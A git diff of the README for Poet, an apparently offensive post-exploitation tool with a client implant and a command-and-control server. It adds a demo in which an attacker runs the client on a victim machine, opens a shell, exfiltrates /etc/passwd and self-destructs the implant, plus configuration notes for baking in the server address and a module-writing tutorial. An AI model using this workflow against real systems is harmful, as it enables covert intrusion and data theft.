diff --git a/README.md b/README.md index 0fbd614..2165104 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,88 @@ on the target including: - download and execute - self destruct +## demo + +This is just a small sample of what Poet can do. + +The scenario is, an attacker has gotten access to the victim's machine and +downloaded and executed the client. She does not have +the server running at this point, but it's ok, the client waits patiently. +Eventually the attacker is ready and starts the server, first starting a shell +and executing `uname -a`, then exfiltrating `/etc/passwd`. Then she exits +and detaches from the client, which continues running on the target waiting for +the next opportunity to connect to the server. Later, she connects again, +self-destructing the client, removing all traces from the target. + +Victim's Machine (5.4.3.2): + +``` +$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see +``` + +> Warning: After running this command, you'll need to either run `selfdestruct` +> from the server, or kill the `poet-client` process to stop the client. + +Attacker's Machine (1.2.3.4): + +``` +$ sudo ./poet-server + + _ + ____ ____ ___ / /_ + / __ \/ __ \/ _ \/ __/ + / /_/ / /_/ / __/ / + / .___/\____/\___/\__/ + /_/ + +[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20 +[+] (06/28/15 03:58:42) Poet server started (port 443) +[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID +[+] (06/28/15 03:58:50) Entering control shell +Welcome to posh, the Poet Shell! +Running `help' will give you a list of supported commands. +posh > help +Commands: + chint + dlexec + exec + exfil + exit + help + recon + selfdestruct + shell +posh > shell +posh > user@server $ uname -a +Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux +posh > user@server $ ^D +posh > exfil /etc/passwd +posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt +posh > ^D +[+] (06/28/15 03:59:18) Exiting control shell +[-] (06/28/15 03:59:18) Poet server terminated +$ sudo ./poet-server + + _ + ____ ____ ___ / /_ + / __ \/ __ \/ _ \/ __/ + / /_/ / /_/ / __/ / + / .___/\____/\___/\__/ + /_/ + +[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20 +[+] (06/28/15 03:59:26) Poet server started (port 443) +[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID +[+] (06/28/15 03:59:28) Entering control shell +Welcome to posh, the Poet Shell! +Running `help' will give you a list of supported commands. +posh > selfdestruct +[!] WARNING: You are about to permanently remove the client from the target. + You will immediately lose access to the target. Continue? (y/n) y +[+] (06/28/15 03:59:33) Exiting control shell +[-] (06/28/15 03:59:33) Poet server terminated +``` + ## getting started Go to the [releases](http://github.com/mossberg/poet/releases) page and @@ -67,9 +149,25 @@ $ sudo ./poet-server ### configuration -For any non-testing usage, it is recommended to change the client -authentication token by modifying `common/config.py` before building. -Note that pre-built packages use the default, public authentication token. +The `common/config.py` file contains various **optional** configuration +settings for Poet builds. + +- `AUTH`: Secret authentication token shared between the client and server for + client authentication. Note that the default one is anything but secret. For + any non-testing usage, it is recommended to change it to another unguessable + value. Note that pre-built packages use the default, public authentication + token. +- `ARCHIVE_DIR`: Directory used by the server to store files (exec output, + exfil, recon, etc). +- `SERVER_IP`: IP address of the server. +- `BEACON_INTERVAL`: Seconds between client beacons to the server. + +The `SERVER_IP` and `BEACON_INTERVAL` configurations allow information +previously required in command line arguments to be baked into the final +executables such that the final executable can simply be executed with no +arguments. Values of `None` for either of them cause them to revert to default +behavior (required command line arg for `SERVER_IP`, optional command line +argument for `BEACON_INTERVAL`). ### client @@ -115,97 +213,105 @@ the client. By default, it listens on a privileged port (443) and must be run with privileges (which are quickly dropped after binding). The `-p` flag can be used to bypass this by selecting an unprivileged port to listen on (>1024). -## concerns +### extensibility -Documented concerns: +Poet is highly extensible through its module framework, in fact, nearly every +command available at the posh shell is implemented as a module. They can be +viewed in the `common/modules/` directory. The `common/modules/template.py` +serves as a barebones example module, to be used as a starting point. +To add a Poet module, simply place it into the `common/modules/` directory +and rebuild Poet using `make`. -- lack of cryptographically protected communications -- low interval beacons are **noisy** and generate TCP RSTs when the server is - inactive -- shell command is not a "real" shell and does not support most builtins found - in standard shells +Here is a simple example module showing basic communication between the client +and server. The module registers a posh command, sends a string over, the +client reverses it and sends it back, and the server prints it out. -## demo +``` +# Note: this module doesn't check if an argv[1] was given -This is just a small sample of what Poet can do. +import module -The scenario is, an attacker has gotten access to the victim's machine and -downloaded and executed the client. She does not have -the server running at this point, but it's ok, the client waits patiently. -Eventually the attacker is ready and starts the server, first starting a shell -and executing `uname -a`, then exfiltrating `/etc/passwd`. Then she exits -and detaches from the client, which continues running on the target waiting for -the next opportunity to connect to the server. Later, she connects again, -self-destructing the client, removing all traces from the target. -Victim's Machine (5.4.3.2): +@module.server_handler('reverse') +def server(server, argv): + print 'Sending: {}'.format(argv[1]) + # argv here is ['reverse', ...] + response = server.conn.exchange(' '.join(argv)) + print 'Received: {}'.format(response) + +@module.client_handler('reverse') +def client(client, inp): + # inp here is 'reverse ...' + client.s.send(inp.split()[1][::-1]) ``` -$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see + +The module begins with + +``` +import module ``` -> Warning: After running this command, you'll need to either run `selfdestruct` -> from the server, or kill the `poet-client` process to stop the client. +This is required, and is needed to register with the module framework. -Attacker's Machine (1.2.3.4): +The next section is the server-side component of the module. ``` -$ sudo ./poet-server +@module.server_handler('reverse') +def server(server, argv): + print 'Sending: {}'.format(argv[1]) + # argv here is ['reverse', ...] + response = server.conn.exchange(' '.join(argv)) + print 'Received: {}'.format(response) +``` - _ - ____ ____ ___ / /_ - / __ \/ __ \/ _ \/ __/ - / /_/ / /_/ / __/ / - / .___/\____/\___/\__/ - /_/ +The `@module.server_handler()` decorator is used to register a posh command +by passing in the command name as a decorator parameter and defining a handler +function to execute when the command is run. The handler function must accept +two parameters. One is the instance of the `PoetServer` that called the module, +and the other is the command string entered, represented as a list of +arguments. The server instance exists for the module to be able to use +helper functions for communicating with the client, writing files to the +archive directory, etc. The module uses `server.conn.exchange()` to send +the command line entered as a string to the client and get the response as the +return value. -[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20 -[+] (06/28/15 03:58:42) Poet server started (port 443) -[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID -[+] (06/28/15 03:58:50) Entering control shell -Welcome to posh, the Poet Shell! -Running `help' will give you a list of supported commands. -posh > help -Commands: - chint - dlexec - exec - exfil - exit - help - recon - selfdestruct - shell -posh > shell -posh > user@server $ uname -a -Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux -posh > user@server $ ^D -posh > exfil /etc/passwd -posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt -posh > ^D -[+] (06/28/15 03:59:18) Exiting control shell -[-] (06/28/15 03:59:18) Poet server terminated -$ sudo ./poet-server +The client-side component of the module is next. - _ - ____ ____ ___ / /_ - / __ \/ __ \/ _ \/ __/ - / /_/ / /_/ / __/ / - / .___/\____/\___/\__/ - /_/ +``` +@module.client_handler('reverse') +def client(client, inp): + # inp here is 'reverse ...' + client.s.send(inp.split()[1][::-1]) +``` + +The `@module.client_handler()` decorator is used to register a task for the +client to react to and process. Since the client and server communicate by +passing strings between them the first part of the string is the keyword +for a particular task. The module registers a client handler function to +execute when a message comes in from the server starting with 'reverse'. +Similar to the server handler, the client handler must accept parameters for +the instance of the `PoetClient` which called it, and the input string +passed from the server. The client then uses the `client.s.send()` function +to send data back to the server, in this case, the first argument, reversed. + +In action, this looks like -[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20 -[+] (06/28/15 03:59:26) Poet server started (port 443) -[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID -[+] (06/28/15 03:59:28) Entering control shell -Welcome to posh, the Poet Shell! -Running `help' will give you a list of supported commands. -posh > selfdestruct -[!] WARNING: You are about to permanently remove the client from the target. - You will immediately lose access to the target. Continue? (y/n) y -[+] (06/28/15 03:59:33) Exiting control shell -[-] (06/28/15 03:59:33) Poet server terminated ``` +posh > reverse poet +Sending: poet +Received: teop +``` + +## concerns + +Documented concerns: + +- lack of cryptographically protected communications +- low interval beacons are **noisy** and generate TCP RSTs when the server is + inactive +- shell command is not a "real" shell and does not support most builtins found + in standard shells ## disclaimer